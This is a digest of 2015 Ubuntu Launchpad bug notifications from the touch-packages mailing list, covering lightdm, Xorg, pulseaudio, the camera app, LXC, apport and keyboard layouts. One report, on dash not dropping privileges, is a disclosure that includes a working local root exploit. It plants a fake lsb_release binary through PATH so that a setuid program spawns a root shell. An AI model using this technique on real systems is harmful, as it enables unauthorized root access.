Public bug reported: Attempting to lock screen sometimes kicks me to lightdm login screen (like I rebooted) insteading of locking the screen, that effectively kills active session because when I log in again I get an "empty" session, like I rebooted the system. lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description:Ubuntu 14.04.2 LTS Release:14.04 Codename: trusty apt-cache policy lightdm lightdm: Installed: 1.10.5-0ubuntu1 Candidate: 1.10.5-0ubuntu1 Version table: *** 1.10.5-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages 100 /var/lib/dpkg/status 1.10.0-0ubuntu3 0 500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages apt-cache policy unity unity: Installed: 7.2.4+14.04.20150316-0ubuntu1 Candidate: 7.2.4+14.04.20150316-0ubuntu1 Version table: *** 7.2.4+14.04.20150316-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages 100 /var/lib/dpkg/status 7.2.2+14.04.20140714-0ubuntu1.1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-security/main amd64 Packages 7.2.0+14.04.20140416-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages uname -r 3.16.0-38-generic ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: lightdm 1.10.5-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-38.52~14.04.1-generic 3.16.7-ckt10 Uname: Linux 3.16.0-38-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CurrentDesktop: Unity Date: Wed May 27 01:06:54 2015 InstallationDate: Installed on 2015-05-17 (9 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) SourcePackage: lightdm UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: lightdm (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug trusty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1459043 Title: Attempting to lock screen sometimes kills whole session Status in lightdm package in Ubuntu: New Bug description: Attempting to lock screen sometimes kicks me to lightdm login screen (like I rebooted) insteading of locking the screen, that effectively kills active session because when I log in again I get an "empty" session, like I rebooted the system. lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty apt-cache policy lightdm lightdm: Installed: 1.10.5-0ubuntu1 Candidate: 1.10.5-0ubuntu1 Version table: *** 1.10.5-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages 100 /var/lib/dpkg/status 1.10.0-0ubuntu3 0 500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages apt-cache policy unity unity: Installed: 7.2.4+14.04.20150316-0ubuntu1 Candidate: 7.2.4+14.04.20150316-0ubuntu1 Version table: *** 7.2.4+14.04.20150316-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages 100 /var/lib/dpkg/status 7.2.2+14.04.20140714-0ubuntu1.1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-security/main amd64 Packages 7.2.0+14.04.20140416-0ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages uname -r 3.16.0-38-generic ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: lightdm 1.10.5-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-38.52~14.04.1-generic 3.16.7-ckt10 Uname: Linux 3.16.0-38-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CurrentDesktop: Unity Date: Wed May 27 01:06:54 2015 InstallationDate: Installed on 2015-05-17 (9 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) SourcePackage: lightdm UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1459043/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1455874] Re: Xorg freeze
Rudolf Göldner, you appear to be using either Kubuntu, or apport-kde, not Ubuntu+apport-gtk as requested in https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1455874/comments/4 . -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1455874 Title: Xorg freeze Status in xorg package in Ubuntu: Incomplete Bug description: Installation of 15.04 in addition to 14.10 ok. Start by BIOS start menue ok. All worked fine. Then I wanted to add some lines to the fstab to mount ntfs partitions. I copied these lines from the kubuntu 14.10 fstab. Since then, kde shows the animated splash screen when loading and then a black screen with no more action possible. Only Control+Alt+F1 works and shows the tty screen. I deleted the additional lines in the fstab, but there is no change in behaviour. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: xorg 1:7.7+7ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-16.16-generic 3.19.3 Uname: Linux 3.19.0-16-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 Date: Sun May 17 10:58:05 2015 InstallationDate: Installed on 2015-05-15 (1 days ago) InstallationMedia: Kubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) ProcEnviron: TERM=linux PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/bin/bash SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1455874/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458849] Re: [ Asus P7P55D LE , VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card
mag 26 12:57:51 hostname pulseaudio[719]: [pulseaudio] authkey.c: Failed to open cookie file '/var/run/speech-dispatcher/.config/pulse/cookie': File o directory non esistente mag 26 12:57:51 hostname pulseaudio[719]: [pulseaudio] authkey.c: Failed to load authentication key '/var/run/speech-dispatcher/.config/pulse/cookie': File o directory non esistente mag 26 12:57:51 hostname pulseaudio[719]: [pulseaudio] authkey.c: Failed to open cookie file '/var/run/speech-dispatcher/.pulse-cookie': File o directory non esistente mag 26 12:57:51 hostname pulseaudio[719]: [pulseaudio] authkey.c: Failed to load authentication key '/var/run/speech-dispatcher/.pulse-cookie': File o directory non esistente -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1458849 Title: [ Asus P7P55D LE , VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card Status in pulseaudio package in Ubuntu: Incomplete Bug description: Audio no WORK post upgrade to 14.10 from 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: pulseaudio 1:6.0-0ubuntu6 ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.17.2-0ubuntu1.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: laura 1392 F pulseaudio CurrentDesktop: Unity Date: Tue May 26 13:36:42 2015 InstallationDate: Installed on 2014-12-18 (158 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: pulseaudio Symptom: audio Symptom_Card: HDA-Intel - HDA Intel MID Symptom_Jack: Green Line Out, Rear Title: [System Product Name, VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card UpgradeStatus: Upgraded to vivid on 2015-04-24 (31 days ago) dmi.bios.date: 10/03/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2101 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P7P55D LE dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2101:bd10/03/2012:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP7P55DLE:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1458849/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1345573] Re: Horizontal lines flashing on screen briefly
Jani Uusitalo, to see if this is already resolved in a later version of Ubuntu, could you please test for this via http://cdimage.ubuntu.com /daily-live/current/ and advise to the results? ** Description changed: Since upgrading HWE from -lts-saucy to -lts-trusty, I have had recurring graphical glitches on screen, with short black horizontal lines appearing briefly on screen (on top of normal contents), particularly when switching between applications. The lines appear only for a few 100 ms before going away (just enough to register in your eye that there's something there), so I've been trying to make a screen recording to capture it, but of course the phenomenon goes away when I do (perhaps RecordMyDesktop does something with the screen that makes it less likely to appear). - - I have another 12.04 system with desktop Radeon graphics, and there - -lts-trusty has not produced this issue so far (the one with the issue - and the one I'm attaching the logs here from has Intel). I don't recall seeing this with -lts-saucy or other previous Xorg packages. It was so obvious right after upgrading that either it never occurred before or was so rare or quick to flash away that it didn't register. ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: xserver-xorg-lts-trusty 1:7.7+1ubuntu8~precise1 ProcVersionSignature: Ubuntu 3.13.0-32.57~precise1-generic 3.13.11.4 Uname: Linux 3.13.0-32-generic x86_64 ApportVersion: 2.0.1-0ubuntu17.6 Architecture: amd64 CheckboxSubmission: 09ae689090491ca53449589269e4bfd8 CheckboxSystem: edda5d4f616ca792bf437989cb597002 Date: Sun Jul 20 15:21:12 2014 InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release amd64 (20091027) MarkForUpload: True SourcePackage: xorg-lts-trusty UpgradeStatus: Upgraded to precise on 2014-07-11 (9 days ago) - --- + --- .tmp.unity.support.test.0: - + ApportVersion: 2.0.1-0ubuntu17.9 Architecture: amd64 CompizPlugins: [core,composite,opengl,compiztoolbox,decor,gnomecompat,snap,imgpng,unitymtgrabhandles,move,place,grid,resize,mousepoll,vpswitch,regex,winrules,wall,session,animation,workarounds,expo,ezoom,fade,scale,unityshell] CompositorRunning: compiz DistUpgraded: 2014-07-11 11:04:24,254 DEBUG running doUpdate() (showErrors=True) DistroCodename: precise DistroRelease: Ubuntu 12.04 DistroVariant: ubuntu DkmsStatus: vboxhost, 4.3.28, 3.13.0-53-generic, x86_64: installed ExtraDebuggingInterest: Yes, GraphicsCard: - Intel Corporation Xeon E3-1200 v2/3rd Gen Core processor Graphics Controller [8086:0162] (rev 09) (prog-if 00 [VGA controller]) -Subsystem: ASUSTeK Computer Inc. Device [1043:84ca] + Intel Corporation Xeon E3-1200 v2/3rd Gen Core processor Graphics Controller [8086:0162] (rev 09) (prog-if 00 [VGA controller]) + Subsystem: ASUSTeK Computer Inc. Device [1043:84ca] InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release amd64 (20091027) MachineType: System manufacturer System Product Name MarkForUpload: True Package: xorg 1:7.6+12ubuntu2 PackageArchitecture: amd64 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-53-generic root=UUID=28b993a2-7b5f-45fb-9062-173b0759a0ee ro crashkernel=384M-2G:64M,2G-:128M quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.13.0-53.89~precise1-generic 3.13.11-ckt19 Tags: precise running-unity ubuntu compiz-0.9 Uname: Linux 3.13.0-53-generic x86_64 UpgradeStatus: Upgraded to precise on 2014-07-11 (318 days ago) UserGroups: adm bluetooth cdrom dip lpadmin plugdev sambashare ssh sudo vboxusers dmi.bios.date: 10/17/2014 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1505 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8H77-M PRO dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1505:bd10/17/2014:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8H77-MPRO:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer version.compiz: compiz 1:0.9.7.12-0ubuntu4 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.52-1~precise2 version.libgl1-mesa-dri: libgl1-mesa-dri N/A version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core N/A version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A ** Description changed: Since upgrading HWE from -lts-saucy to -lts-trusty, I have had recu
[Touch-packages] [Bug 1443580] Re: Camera corrupts images
I played around with this corrupted picture: http://www.hjkl.at/trash/image20150423_080615249.jpg and found out that it can be repaired. first i installed the perl exiftool (sudo apt-get install libimage-exiftool-perl). then I saved the exif analysis to an html file exiftool -htmlDump image20150423_080615249.jpg >x.html looking at the output I noticed a spurious End Of JPG Data Marker (0xFFd9) at Offset 0x11DAF. Then I opened the image with ghex, overwrote that marker with zeros. Saved the File and now it's repaired. Too bad that I have allready deleted so many of the corrupted files. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to camera-app in Ubuntu. https://bugs.launchpad.net/bugs/1443580 Title: Camera corrupts images Status in camera-app package in Ubuntu: Confirmed Bug description: I am using a bq aquaris 4.5 ubuntu edition (14.10R20 Ubuntu Image Part: 20150312 Device Image Part: 20150310-3201c0a). I wanted to take multiple photos. After every shot the camera showed me a preview. When I wanted to check my photos afterwards, checking the photo roll, I could find only 1 photo, while swiping to the next one it showed only a spinning "cycle of friends". I checked the pics on Ubuntu Desktop and found corrupted files instead of image files (JPEG datastream contains no image). Enclosed please find also the logfile from ~/.cache/upstart /application-click-com.ubuntu.camera.log To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/camera-app/+bug/1443580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1226855] Re: Cannot use open-iscsi inside LXC container
Bump if anyone has time to work on this it would be a huge benefit to the OpenStack community. This is a blocking issue for us too as we're not able to fully use LXC containers in our OpenStack deployments. Specifically we can not run nova-compute in an lxc container due to issues with (RW) AF_NETLINK . In the os-ansible-deployment system we've gone back to installing nova- compute on the host machine as the default process which ensured we have functional deployments but it would be great to be able to change the default such that the deployment had everything containerized. As mentioned, I have gear that I can dedicate to testing things out but I don't have time to work through the problems at present. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1226855 Title: Cannot use open-iscsi inside LXC container Status in linux package in Ubuntu: Confirmed Status in lxc package in Ubuntu: Confirmed Bug description: Trying to use open-iscsi from within an LXC container, but the iscsi netlink socket does not support multiple namespaces, causing: "iscsid: sendmsg: bug? ctrl_fd 6" error and failure. Command attempted: iscsiadm -m node -p $ip:$port -T $target --login Results in: Exit code: 18 Stdout: 'Logging in to [iface: default, target: $target, portal: $ip,$port] (multiple)' Stderr: 'iscsiadm: got read error (0/0), daemon died? iscsiadm: Could not login to [iface: default, target: $target, portal: $ip,$port]. iscsiadm: initiator reported error (18 - could not communicate to iscsid) iscsiadm: Could not log into all portals' ProblemType: Bug DistroRelease: Ubuntu 13.04 Package: lxc 0.9.0-0ubuntu3.4 ProcVersionSignature: Ubuntu 3.8.0-30.44-generic 3.8.13.6 Uname: Linux 3.8.0-30-generic x86_64 ApportVersion: 2.9.2-0ubuntu8.3 Architecture: amd64 Date: Tue Sep 17 14:38:08 2013 InstallationDate: Installed on 2013-01-15 (245 days ago) InstallationMedia: Xubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.1) MarkForUpload: True SourcePackage: lxc UpgradeStatus: Upgraded to raring on 2013-05-16 (124 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1226855/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1459036] Re: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1459036 Title: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in apport package in Ubuntu: New Bug description: The update-manager freeze, before or after dpkg crash during update. ProblemType: Package DistroRelease: Ubuntu 14.04 Package: python-problem-report 2.14.1-0ubuntu3.11 Uname: Linux 4.0.0-04-generic x86_64 ApportLog: ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CrashReports: 600:0:116:161993:2015-05-27 00:32:19.319976329 +0200:2015-05-27 00:32:20.319976329 +0200:/var/crash/python-problem-report.0.crash 640:0:116:14732:2015-05-27 00:32:16.147976412 +0200:2015-05-27 00:32:16.083976412 +0200:/var/crash/_usr_bin_pycompile.0.crash Date: Wed May 27 00:32:20 2015 DuplicateSignature: package:python-problem-report:2.14.1-0ubuntu3.11:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-05-06 (385 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Beta amd64 (20140326) PackageArchitecture: all SourcePackage: apport Title: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1459036/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1215660] Re: dash does not drop privileges when euid != uid, this can cause local root exploits when setuid programs use system() or popen()
correction on my previous comment:
My point "1" is only true on Debian and derivatives. bash does drop its
privilege when setuid and called as sh without -p just like when not
called as sh, but Debian's bash package has a patch that disables that
dropping of privileges when called as sh.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
** Bug watch added: Debian Bug tracker #52586
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dash in Ubuntu.
https://bugs.launchpad.net/bugs/1215660
Title:
dash does not drop privileges when euid != uid, this can cause local
root exploits when setuid programs use system() or popen()
Status in dash package in Ubuntu:
Triaged
Bug description:
Poorly written setuid programs may call 'popen' or 'system' with
incorrectly specified arguments. For instance, there is a bug in
vmware-mount where it calls "popen('lsb-release')" (CVE-2013-1662). It
should be "popen('/usr/bin/lsb-release')". Because of this, an
attacker can drop a file named 'lsb-release' in . and then call
vmware-mount, and it will happily popen the attacker controlled file
as root.
Now, bash has a 'privdrop' option, however debian removed this option in the
1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
Most shells will drop privs when euid != uid, because it turns out
calling popen / system from setuid scripts is nearly impossible to get
right (in fact, pretty much any setuid script is insanely difficult to
write without a vulnerability in it.
Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root
If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("/bin/sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/local/google/home/antarus $ whoami
whoami: unknown uid X # I have omitted my actual UID, needless to say it
isn't uid 0 :)
Now you may be saying 'hey i don't have vmware-mount handy' so
instead:
antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include
int main(int argc, char ** argv) {
popen("lsb_release", "r");
}
antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("whoami>`tty`
2>&1");}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root
Distributor ID: Ubuntu
Description:Ubuntu 12.04.1 LTS
Release:12.04
Codename: precise
antarus@goats5 ~ $ apt-cache policy dash
dash:
Installed: 0.5.7-2ubuntu2
Candidate: 0.5.7-2ubuntu2
Version table:
*** 0.5.7-2ubuntu2 0
600 my-apt-mirror ubuntu-precise/main amd64 Packages
100 /var/lib/dpkg/status
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dash/+bug/1215660/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1459036] [NEW] package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
Public bug reported: The update-manager freeze, before or after dpkg crash during update. ProblemType: Package DistroRelease: Ubuntu 14.04 Package: python-problem-report 2.14.1-0ubuntu3.11 Uname: Linux 4.0.0-04-generic x86_64 ApportLog: ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CrashReports: 600:0:116:161993:2015-05-27 00:32:19.319976329 +0200:2015-05-27 00:32:20.319976329 +0200:/var/crash/python-problem-report.0.crash 640:0:116:14732:2015-05-27 00:32:16.147976412 +0200:2015-05-27 00:32:16.083976412 +0200:/var/crash/_usr_bin_pycompile.0.crash Date: Wed May 27 00:32:20 2015 DuplicateSignature: package:python-problem-report:2.14.1-0ubuntu3.11:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-05-06 (385 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Beta amd64 (20140326) PackageArchitecture: all SourcePackage: apport Title: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: apport (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package need-duplicate-check third-party-packages trusty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1459036 Title: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in apport package in Ubuntu: New Bug description: The update-manager freeze, before or after dpkg crash during update. ProblemType: Package DistroRelease: Ubuntu 14.04 Package: python-problem-report 2.14.1-0ubuntu3.11 Uname: Linux 4.0.0-04-generic x86_64 ApportLog: ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CrashReports: 600:0:116:161993:2015-05-27 00:32:19.319976329 +0200:2015-05-27 00:32:20.319976329 +0200:/var/crash/python-problem-report.0.crash 640:0:116:14732:2015-05-27 00:32:16.147976412 +0200:2015-05-27 00:32:16.083976412 +0200:/var/crash/_usr_bin_pycompile.0.crash Date: Wed May 27 00:32:20 2015 DuplicateSignature: package:python-problem-report:2.14.1-0ubuntu3.11:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-05-06 (385 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Beta amd64 (20140326) PackageArchitecture: all SourcePackage: apport Title: package python-problem-report 2.14.1-0ubuntu3.11 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1459036/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1433563] Re: QAudioRecorder recording hangs
** Branch linked: lp:ubuntu/gst-plugins-good0.10 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtmultimedia-opensource- src in Ubuntu. https://bugs.launchpad.net/bugs/1433563 Title: QAudioRecorder recording hangs Status in the base for Ubuntu mobile products: Confirmed Status in gst-plugins-good0.10 package in Ubuntu: Fix Released Status in qtmultimedia-opensource-src package in Ubuntu: Fix Released Bug description: Recording audio with QAudioRecorder intermittently fails for me. Another user even reported that it only works 1 out of 5-10 times. QAudioRecorder seems to hang on requesting the audio to be recorded (status QMediaRecortder::StartingStatus). When it actually works, it properly goes from starting to recording and then it's possible to record audio and playback. QAudioRecorder has an error() method, but it returns QMediaRecorder::NoError Since it was confirmed by two people (victorp, karni) we suspect it's a bug in the middleware rather than the apps. A test click has been sent to Ricardo's e-mail by Victor. phablet@ubuntu-phablet:~$ system-image-cli -i current build number: 20 device name: krillin channel: (the BQ channel) last update: 2015-02-26 17:06:15 version version: 20 version ubuntu: 20150219 version device: 20150225-b67e0b6 version custom: 20150216-561-29-186 To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1433563/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 672881] Re: Inclusion of the Philippines "National Keyboard Layout"
** Changed in: xkeyboard-config Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xkeyboard-config in Ubuntu. https://bugs.launchpad.net/bugs/672881 Title: Inclusion of the Philippines "National Keyboard Layout" Status in central project for keyboard configuration: Fix Released Status in xkeyboard-config package in Ubuntu: Fix Released Status in xkeyboard-config source package in Natty: Fix Released Bug description: Binary package hint: xkeyboard-config A request for the inclusion of the new Philippines National Keyboard Layout. The attached file contains the symbols / mapping, and the information needed for the .lst and .xml files. Thank you very much. Also submitted at: https://bugs.freedesktop.org/show_bug.cgi?id=31073 To manage notifications about this bug go to: https://bugs.launchpad.net/xkeyboard-config/+bug/672881/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 672881]
(In reply to Daniel Stone from comment #10) > This is licensed under GPLv3, instead of MIT as the rest of the layouts. Can > this please be changed? Removed the GPLv3 line. Hope it is ok with everybody. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xkeyboard-config in Ubuntu. https://bugs.launchpad.net/bugs/672881 Title: Inclusion of the Philippines "National Keyboard Layout" Status in central project for keyboard configuration: Fix Released Status in xkeyboard-config package in Ubuntu: Fix Released Status in xkeyboard-config source package in Natty: Fix Released Bug description: Binary package hint: xkeyboard-config A request for the inclusion of the new Philippines National Keyboard Layout. The attached file contains the symbols / mapping, and the information needed for the .lst and .xml files. Thank you very much. Also submitted at: https://bugs.freedesktop.org/show_bug.cgi?id=31073 To manage notifications about this bug go to: https://bugs.launchpad.net/xkeyboard-config/+bug/672881/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1226855] Re: Cannot use open-iscsi inside LXC container
